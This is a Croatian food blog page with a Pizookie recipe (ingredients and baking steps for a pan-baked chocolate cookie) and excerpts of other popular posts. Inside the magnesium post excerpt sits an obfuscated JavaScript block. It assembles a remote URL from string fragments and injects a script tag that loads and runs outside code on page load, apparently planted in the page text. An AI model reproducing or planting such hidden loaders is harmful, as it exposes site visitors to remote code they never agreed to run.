PIZOOKIE - SPOJ TOPLOG I MEKANOG KEKSA




Pizookie - spoj toplog i mekanog keksa 



Ako ste se ikad pitali što se dogodi kada spojite pizzu i cookie, odgovor je Pizookie. Iza ovog simpatičnog naziva krije se igra riječi nastala spajanjem engleskih riječi pizza i cookie, a riječ je o desertu koji je početkom 1990-ih osmislio američki lanac BJ’s Restaurant & Brewhouse.




Pizookie 

Sastojci za jednu porciju:

  • 190 g omekšalog maslaca
  • 140 g šećera u prahu
  • 154 g smeđeg šećera
  • 5 g ekstrakta vanilije
  • 1 cijelo jaje
  • 1 žumanjak
  • 290 g glatkog brašna
  • 5 g praška za pecivo
  • 5,5 g sitne soli
  • 160 g tamne čokolade (65 % kakaa), nasjeckane



Priprema:

  • Zagrijte pećnicu na 180 °C.
  • Mikserom u posudi tucite maslac, šećer u prahu i smeđi šećer dok smjesa ne postane svijetla i prozračna.
  • Dodajte ekstrakt vanilije, jaje i žumanjak te miksajte dok se sve dobro ne sjedini i smjesa ne bude bez grudica.
  • U zasebnoj posudi pomiješajte brašno, prašak za pecivo i sol.
  • Suhe sastojke dodajte smjesi s maslacem i kratko miješajte na niskoj brzini, samo dok se sastojci ne sjedine. Zatim dodajte nasjeckanu čokoladu.
  • Kušajte smjesu. Trebala bi imati lagano slan okus. Ako je potrebno, dodajte još malo soli.
  • U kalup ili tavu prikladnu za pećnicu promjera otprilike 6 do 8 cm stavite 100 do 120 g smjese.
  • Pecite 7 do 9 minuta, dok rubovi ne postanu čvrsti, a sredina ostane mekana i lagano nedopečena.
  • Poslužite odmah uz kuglicu sladoleda.
  • Prijedlog za posluživanje: Poslužite uz sladoled od vanilije ili čokolade.


Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više